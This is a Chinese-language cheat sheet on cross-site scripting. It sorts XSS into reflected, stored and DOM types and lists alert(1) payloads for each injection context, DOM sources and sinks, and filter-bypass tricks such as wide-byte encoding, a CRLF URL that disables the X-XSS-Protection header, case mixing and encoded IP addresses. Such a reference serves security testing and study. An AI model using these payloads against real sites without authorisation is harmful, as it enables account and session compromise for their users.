XSS总结

分类:

反射型

payload 在 url 之中,后台未进行有效处理将 payload 输出导致 js 代码执行。
js 代码可能出现的位置:

  1. 标签之间:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
- 标签之间可以直接执行的:
<div>[xss]</div>
payload: <script>alert(1)</script>

- 有些标签之间不能执行,需要先闭合:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>
- 出现在<script></script>之间:
<script>a="[xss]"</script>
payload:
";alert(1)
"</script></script>alert(1)
  1. 标签之内
1
2
3
4
5
6
7
8
9
10
11
12
- 文本属性:
<input type="text" value="[xss]" />
payload: " onmouseover=alert(1) "/>
<script>
alert(1)
</script>


- src/href/action/,img的(dynsrc/lowsrc)等属性: payload: javascript:alert(1)
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== (IE不支持) -
on*事件: payload:alert(1) -
style属性内及css代码之中IE可执行,并且在IE9以上被防御,不适合其他浏览器:
style="width:expression(js代码)" background-image:url('javascript:alert(2)')
  1. XML XSS
1
<![CDATA[<script>alert(1)</script>]]>
  1. JSON XSS
1
2
3
4
data = '{"movie": [{"name": ' + value + '}]'

// payload
"12"}]};alert(1)//

存储型

经过处理请求,将 XSS 代码存储到数据库,然后输出到页面。这样导致 xss 攻击持久存在。通常通过表单提交,有一些服务也通过 url 提交,甚至有些存在于其他的 HTTP 头字段之中。
通常这种 xss 存在于个人信息,留言,文章日志等一些功能之中。
至于最终 js 代码存在的位置,我们依然可以根据上面判断。

DOM XSS

这种 xss 是由于前端代码直接将 url 中的代码输出到页面导致。不与后台进行交互。

1
2
3
4
5
例如页面存在:
<script>
eval(location.hash.substr(1))
</script>

payload: http://hostname/path#alert(1)

常见的输入点:

1
2
3
4
5
6
7
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
document.cookie

常见输出点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
输出HTML:
document.write(x)
document.writeln(x)
document.body.innerHTML = x

修改DOM树属性:
document.forms[0].action = x (另外还有一些对象的src/href)
document.attachEvent(x)
document.create...(x)
document.execCommand(x)
document.body.x
window.attachEvent(x)

修改URL:
document.location = x
document.location.hostname = x
document.location.replace(x)
document.location.assign(x)
document.URL = x
window.navigate(x)

打开新窗口:
document.open(x)
window.open(x)
window.location.href = x

直接执行的:
eval(x)
window.execScript(x)
window.setInterval(x)
window.setTimeout(x)

绕过方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
宽字节编码,同时开启magic_quotes_gpc=On,可通过以下payload绕过
1.php?x=1%81";alert(1) //当charset=GBK/GB2312等编码
magic_quotes_gpc=On:
1.php?x=<script %00%00%00>alert(1)</script>

空格绕过
<img/src=""onerror=alert(2)>
<svg/onload=alert(2)></svg>

大小写
<SCript>alert(2)</SCript>

响应头CRLF关闭浏览器XSS Filter,
头部注入X-XSS-Protection:0
这种情况用于请求的URL链接在相应回来urldecode后导致换行,换行部分形成响应头:
比如:
http://x.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript%3Ealert(1);%3C/script%3Ey
经过urldecode后为:
http://x.com/xx.action?id=
Content-Type: text/html
X-XSS-Protection: 0

x<script>alert(1);</script>y

有些过滤器不检测注释,可用以下代码绕过:
<!--<a href="--><img src=x onerror=alert(2)//">test</a>

eval(String.fromCharCode())

绕过URL过滤:
URL编码
十进制 http://
十六进制 http://0x01.0x01.0x01.0x01
八进制 http://01.01.01.01
```